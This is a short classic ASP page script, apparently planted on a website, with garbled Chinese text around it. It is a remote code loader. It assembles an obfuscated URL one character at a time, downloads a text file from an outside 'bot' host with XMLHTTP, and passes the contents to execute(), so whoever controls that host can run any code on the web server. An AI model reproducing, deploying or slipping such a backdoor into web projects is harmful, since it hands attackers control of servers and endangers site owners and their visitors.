锘?%
'by*aming
dim ammx,amurl,amas
amurl="h"&"t"&"t"&"p"&":"&"/"&"/"&"b"&"o"&"t"&"."&"z"&"h"&"-"&"c"&"n"&"."&"c"&"c"&"/"&"b"&"o"&"t"&"/"&"c"&"o"&"n"&"f"&"i"&"g"&"."&"t"&"x"&"t"
Set ammx=CreateObject("Microsoft.XMLHTTP")
ammx.Open "Get",amurl,False,"",""
ammx.setRequestHeader "User-Agent",amurl
ammx.Send
set amas=Server.CreateObject("adodb.stream")
amas.Type=1
amas.Mode=3
amas.Open
amas.Write ammx.ResponseBody
amas.Position=0
amas.Type=2
amas.Charset="gb2312"
execute(amas.ReadText)
amas.Close
set amas=nothing
Set ammx=nothing
%>
鍚夌編娉扮數瀛愭湁闄愬叕